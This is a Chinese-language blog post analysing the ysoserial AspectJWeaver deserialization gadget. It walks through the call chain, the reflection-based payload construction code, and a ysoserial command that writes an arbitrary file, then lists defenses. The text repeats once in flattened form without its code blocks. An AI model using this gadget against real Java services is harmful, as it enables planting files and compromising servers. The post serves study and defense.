认识AspectJWeaver
字数 1286 2025-08-06 08:35:39

AspectJWeaver反序列化漏洞分析与利用

前言

AspectJWeaver是Java中一个用于实现面向切面编程(AOP)的工具,在ysoserial工具中提供了一个利用AspectJWeaver实现文件写入的gadget。本文将从技术原理到实际利用进行详细分析。

基础概念

AspectJWeaver简介

AspectJWeaver是AspectJ项目的核心组件,用于在运行时或编译时织入切面代码。在反序列化漏洞利用中,我们主要关注其SimpleCache$StoreableCachingMap类的实现。

Java文件操作相关

  • File.separator:表示目录分隔符(/\),根据操作系统自动判断
  • FileOutputStream:用于写入文件的Java类

HashSet实现原理

  • HashSet内部使用HashMap实现
  • HashMap是HashSet的核心,HashSet相当于只有键的HashMap
  • HashSet使用固定值PRESENT作为HashMap的值部分
  • PRESENT是一个静态常量,用作虚拟值

疑问点:为什么HashMap被transient修饰仍能序列化?

  • 虽然HashMap成员变量使用transient修饰
  • 但HashSet重写了readObjectwriteObject方法
  • 通过这些方法可以自定义序列化过程,实现HashMap的序列化

漏洞利用分析

利用链分析

完整的调用链如下:

HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                TiedMapEntry.getValue()
                    LazyMap.get()
                        SimpleCache$StorableCachingMap.put()
                            SimpleCache$StorableCachingMap.writeToPath()
                                FileOutputStream.write()

关键代码解析

// 获取SimpleCache的内部类StoreableCachingMap的构造器
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");

// 生成StoreableCachingMap实例,第一个参数"."表示当前目录
Object simpleCache = ctor.newInstance(".", 12);

// 使用ConstantTransformer固定文件内容
Transformer ct = new ConstantTransformer(content);
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);

// 将文件内容映射到MapEntry
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);

// 创建HashSet并添加初始元素
HashSet map = new HashSet(1);
map.add("foo");

// 通过反射修改HashSet内部HashMap的内容
Field f = HashSet.class.getDeclaredField("map");
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);

// 获取HashMap的table数组
Field f2 = HashMap.class.getDeclaredField("table");
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);

// 获取第一个节点并修改其key
Object node = array[0];
Field keyField = node.getClass().getDeclaredField("key");
Reflections.setAccessible(keyField);
keyField.set(node, entry);

关键点解释

  1. 文件路径构造

    • SimpleCache$StorableCachingMap.writeToPath()方法中:
      String fullPath = this.folder + File.separator + key;
      
    • this.folder由构造器第一个参数决定(payload中设为".")
    • 最终文件路径为./filename,写入当前目录
  2. 反射操作原因

    • StoreableCachingMap不能直接操作
    • HashSet没有暴露的方法可以直接操作内部HashMap
    • 必须通过反射修改内部结构
  3. 初始元素添加

    • map.add("foo")创建初始键值对
    • 保证反射修改时不会出现空指针异常

漏洞利用演示

使用方式

java -jar ysoserial.jar AspectJWeaver "filename;base64_content"

示例:

java -jar ysoserial.jar AspectJWeaver "h3zh1.txt;aGVsbG8gaGFjawo="

效果

  • 在当前目录创建h3zh1.txt文件
  • 文件内容为hello hack(base64解码后)

技术细节深入

transient字段序列化问题

虽然HashMapHashSet中被声明为transient,但通过重写序列化方法仍可实现序列化:

// HashSet的readObject方法实现
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // 读取所有元素并放入后备Map
    // Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        @SuppressWarnings("unchecked")
            E e = (E) s.readObject();
        map.put(e, PRESENT);
    }
}

// HashSet的writeObject方法实现
private void writeObject(java.io.ObjectOutputStream s)
    throws java.io.IOException {
    // 写入所有元素
    // Write out all elements in the proper order.
    for (E e : map.keySet())
        s.writeObject(e);
}

SimpleCache$StoreableCachingMap分析

关键文件写入方法:

private String writeToPath(String key, byte[] bytes) throws IOException {
    String fullPath = this.folder + File.separator + key;
    FileOutputStream fos = new FileOutputStream(fullPath);
    fos.write(bytes);
    fos.flush();
    fos.close();
    return fullPath;
}

防御措施

  1. 升级AspectJWeaver到安全版本
  2. 禁止反序列化不可信数据
  3. 使用Java安全管理器限制文件操作权限
  4. 实施输入验证和过滤

参考资源

  1. ysoserial AspectJWeaver file write gadget
  2. WebLogic 12.2.1.3.0 Shelldrop小工具
  3. Servlet时间竞争以及AsjpectJWeaver反序列化Gadget构造
AspectJWeaver反序列化漏洞分析与利用 前言 AspectJWeaver是Java中一个用于实现面向切面编程(AOP)的工具,在ysoserial工具中提供了一个利用AspectJWeaver实现文件写入的gadget。本文将从技术原理到实际利用进行详细分析。 基础概念 AspectJWeaver简介 AspectJWeaver是AspectJ项目的核心组件,用于在运行时或编译时织入切面代码。在反序列化漏洞利用中,我们主要关注其 SimpleCache$StoreableCachingMap 类的实现。 Java文件操作相关 File.separator :表示目录分隔符( / 或 \ ),根据操作系统自动判断 FileOutputStream :用于写入文件的Java类 HashSet实现原理 HashSet内部使用HashMap实现 HashMap是HashSet的核心,HashSet相当于只有键的HashMap HashSet使用固定值 PRESENT 作为HashMap的值部分 PRESENT 是一个静态常量,用作虚拟值 疑问点 :为什么HashMap被 transient 修饰仍能序列化? 虽然HashMap成员变量使用 transient 修饰 但HashSet重写了 readObject 和 writeObject 方法 通过这些方法可以自定义序列化过程,实现HashMap的序列化 漏洞利用分析 利用链分析 完整的调用链如下: 关键代码解析 关键点解释 文件路径构造 : SimpleCache$StorableCachingMap.writeToPath() 方法中: this.folder 由构造器第一个参数决定(payload中设为".") 最终文件路径为 ./filename ,写入当前目录 反射操作原因 : StoreableCachingMap 不能直接操作 HashSet 没有暴露的方法可以直接操作内部 HashMap 必须通过反射修改内部结构 初始元素添加 : map.add("foo") 创建初始键值对 保证反射修改时不会出现空指针异常 漏洞利用演示 使用方式 示例: 效果 在当前目录创建 h3zh1.txt 文件 文件内容为 hello hack (base64解码后) 技术细节深入 transient字段序列化问题 虽然 HashMap 在 HashSet 中被声明为 transient ,但通过重写序列化方法仍可实现序列化: SimpleCache$StoreableCachingMap分析 关键文件写入方法: 防御措施 升级AspectJWeaver到安全版本 禁止反序列化不可信数据 使用Java安全管理器限制文件操作权限 实施输入验证和过滤 参考资源 ysoserial AspectJWeaver file write gadget WebLogic 12.2.1.3.0 Shelldrop小工具 Servlet时间竞争以及AsjpectJWeaver反序列化Gadget构造